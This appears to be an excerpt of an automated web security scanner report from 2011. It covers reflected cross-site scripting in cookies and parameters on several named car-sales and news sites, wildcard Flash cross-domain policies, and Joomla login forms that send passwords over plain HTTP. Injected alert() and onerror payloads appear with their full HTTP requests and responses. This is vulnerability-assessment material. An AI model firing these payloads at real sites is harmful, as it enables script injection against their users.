The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 809b4"%3balert(1)//25650409ef was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 809b4";alert(1)//25650409ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sitemap/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=809b4"%3balert(1)//25650409ef; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the PV_CT cookie is copied into the HTML document as plain text between tags. The payload 96fe1<img%20src%3da%20onerror%3dalert(1)>47a1939aac3 was submitted in the PV_CT cookie. This input was echoed as 96fe1<img src=a onerror=alert(1)>47a1939aac3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /sitemap/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=296fe1<img%20src%3da%20onerror%3dalert(1)>47a1939aac3; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f53c"%3balert(1)//864a7b1dec1 was submitted in the BDATALIST cookie. This input was echoed as 3f53c";alert(1)//864a7b1dec1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /used-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c43f53c"%3balert(1)//864a7b1dec1; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the ENTERED_POSTAL_CODE_VCH cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5c0ef"%3balert(1)//997bf3f94eb was submitted in the ENTERED_POSTAL_CODE_VCH cookie. This input was echoed as 5c0ef";alert(1)//997bf3f94eb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /used-cars.htm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=5c0ef"%3balert(1)//997bf3f94eb; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the BDATALIST cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 97692"%3balert(1)//3713275794b was submitted in the BDATALIST cookie. This input was echoed as 97692";alert(1)//3713275794b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /x22 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c497692"%3balert(1)//3713275794b; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274;
The value of the JSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5dfa9'-alert(1)-'1f3227d916 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET / HTTP/1.1 Host: www.autotrader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BIRF_Audit=true; JSESSIONID=9FDC9D8306C6C65BA049C7655627ABAE5dfa9'-alert(1)-'1f3227d916; ATC_USER_ZIP=; ATC_PID=-1761786222|959219900373039673; v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; BIGipServerwww=1619582986.61475.0000; mbox=check#true#1295922044|session#1295921983404-727382#1295923844|PC#1295921983404-727382.17#1297131585;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 14:15:28 GMT Server: Apache Set-Cookie: JSESSIONID=9FDC9D8306C6C65BA049C7655627ABAE5dfa9'-alert(1)-'1f3227d916; Path=/ Set-Cookie: ATC_USER_ZIP=; Domain=.autotrader.com; Expires=Wed, 01-Feb-2012 14:15:28 GMT; Path=/ P3P: CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Vary: Accept-Encoding Connection: close Content-Type: text/html;charset=UTF-8 Set-Cookie: BIGipServerAT-Production_hhtp=3459409418.61475.0000; path=/ Content-Length: 60029
<!DOCTYPE html P ...[SNIP]... <script type="text/javascript"> var sessionID = '9FDC9D8306C6C65BA049C7655627ABAE5dfa9'-alert(1)-'1f3227d916'; var newCarAd = '<p class="atcui-label"> ...[SNIP]...
The value of the u request parameter is copied into the HTML document as plain text between tags. The payload ddaad<script>alert(1)</script>54e5082e4da was submitted in the u parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /_wine/save?u={u}ddaad<script>alert(1)</script>54e5082e4da&h={t} HTTP/1.1 Host: www.newsvine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 05:03:38 GMT Server: Apache/2.2.9 (Debian) Vary: negotiate,Accept-Encoding TCN: choice P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: vid=1afd75fafa487fadf3e5e60f37cd6487; expires=Mon, 20-Jan-2031 05:03:38 GMT; path=/; domain=.newsvine.com Location: https://www.newsvine.com/_nv/accounts/login?popoff&redirect=http%3A%2F%2Fwww.newsvine.com%2F_wine%2Fsave%3Fu%3D%7Bu%7Dddaad%3Cscript%3Ealert%281%29%3C%2Fscript%3E54e5082e4da%26h%3D%7Bt%7D Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 15749
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84841"><script>alert(1)</script>0d6cee6e495 was submitted in the u parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /_wine/save?u={u}84841"><script>alert(1)</script>0d6cee6e495&h={t} HTTP/1.1 Host: www.newsvine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 05:03:25 GMT Server: Apache/2.2.9 (Debian) Vary: negotiate,Accept-Encoding TCN: choice P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE" Set-Cookie: vid=5e60e8bada3f2a6ac8bd91e7d555bf9a; expires=Mon, 20-Jan-2031 05:03:25 GMT; path=/; domain=.newsvine.com Location: https://www.newsvine.com/_nv/accounts/login?popoff&redirect=http%3A%2F%2Fwww.newsvine.com%2F_wine%2Fsave%3Fu%3D%7Bu%7D84841%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E0d6cee6e495%26h%3D%7Bt%7D Pragma: no-cache Content-Type: text/html; charset=UTF-8 Connection: close Content-Length: 15755
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head>
4.2093. http://www.payloadmagazine.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
Information
Confidence:
Certain
Host:
http://www.payloadmagazine.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad960"><script>alert(1)</script>a93993ab4cb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /?ad960"><script>alert(1)</script>a93993ab4cb=1 HTTP/1.1 Host: www.payloadmagazine.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 Moved Permanently Date: Tue, 25 Jan 2011 00:08:57 GMT Server: Apache/1.3.33 (Debian GNU/Linux) PHP/4.4.2-0.dotdeb.1 mod_perl/1.29 Connection: close Location: http://www.commercialtrucktrader.com/?ad960"><script>alert(1)</script>a93993ab4cb=1 Content-Type: text/html; charset=iso-8859-1 Content-Length: 458
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <HTML><HEAD><TITLE>www.payloadmagazine.com</TITLE> <META NAME="keywords" CONTENT="None"> <META NAME="robots" CONTENT="index,follow"> <META NAME="descript ...[SNIP]... <A HREF="http://www.commercialtrucktrader.com/?ad960"><script>alert(1)</script>a93993ab4cb=1"> ...[SNIP]...
5. Flash cross-domain policypreviousnext There are 2 instances of this issue:
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ads.doclix.com
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 14:58:38 GMT ETag: W/"205-1285004403000" Last-Modified: Mon, 20 Sep 2010 17:40:03 GMT Content-Type: application/xml Content-Length: 205 Vary: Accept-Encoding P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml" Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.youtube.com
Response
HTTP/1.0 200 OK Date: Mon, 24 Jan 2011 14:58:57 GMT Server: Apache Last-Modified: Wed, 19 Jan 2011 17:17:52 GMT ETag: "132-49a363270b000" Accept-Ranges: bytes Content-Length: 306 Content-Type: application/xml
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://community.joomla.org/login.html
The form contains the following password field:
passwd
Request
GET /login.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:24:44 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:24:44 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 23975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://community.joomla.org/showcase/index.php
The form contains the following password field:
passwd
Request
GET /showcase/ HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:32 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff1c090dbcaab6cc278de2960e220011; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:32 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 39456
GET /showcase/how-to-submit-a-site.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=be510ddcd2bf15612a74f73f10f6bdfe; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:53 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25112
GET /showcase/sites-of-the-month.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:52 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=ff4fc6ec86026a313be3c261f8519100; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:52 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 36923
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://community.joomla.org/showcase/sites.html
The form contains the following password field:
passwd
Request
GET /showcase/sites/advsearch.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:48 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=6cd3aab8711a0481615375ee027eb309; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:49 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 42915
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://community.joomla.org/showcase/sites.html
The form contains the following password field:
passwd
Request
GET /showcase/sites/new.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:23:46 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e3f36b393f7b576bc345f1ba25fa2851=423eae15ca00d1e8cf624b675f042aa5; path=/ Last-Modified: Mon, 24 Jan 2011 02:23:47 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 69155
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://community.joomla.org/user-groups.html
The form contains the following password field:
passwd
Request
GET /user-groups.html HTTP/1.1 Host: community.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=162598702.1295835678.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 88b9e45a51b17bd9f961adad9aab4c54=14ef1cf25f47d0537309ef7b175ad466; __utma=162598702.639286152.1295835678.1295835678.1295835678.1; __utmc=162598702; __utmb=162598702.2.10.1295835678;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 02:22:54 GMT Server: Apache X-Powered-By: PHP/5.2.13 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Last-Modified: Mon, 24 Jan 2011 02:22:56 GMT Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 205369
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://demo16.cloudaccess.net/index.php
The form contains the following password field:
password
Request
GET / HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:02:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 0d4018dcd0961c57d0d37c72abf6777f=0jc68bdosfv0usmfgmt3kojis0; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 13991
GET /administrator/index.php HTTP/1.1 Host: demo16.cloudaccess.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:01:58 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.3.5 Set-Cookie: 3cd367566174a1f3a2f806869f69204d=tfi2vmv2kpu2qbp7plrssh0ha6; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Length: 4671 Connection: close Content-Type: text/html; charset=utf-8
GET /index.php?title=Special:UserLogin&type=signup&returnto=Main_Page HTTP/1.1 Host: docs.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:05:38 GMT Server: Apache X-Powered-By: PHP/5.2.13 Content-language: en Vary: Accept-Encoding,Cookie X-Vary-Options: Accept-Encoding;list-contains=gzip,Cookie;string-contains=docsj_mediawikiToken;string-contains=docsj_mediawikiLoggedOut;string-contains=docsj_mediawiki_session Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: private, must-revalidate, max-age=0 Set-Cookie: docsj_mediawiki_session=40d5d912ccf86251c09e6204ee9fda3b; path=/; HttpOnly Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 12303
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://extensions.joomla.org/index.php
The form contains the following password field:
passwd
Request
GET / HTTP/1.1 Host: extensions.joomla.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
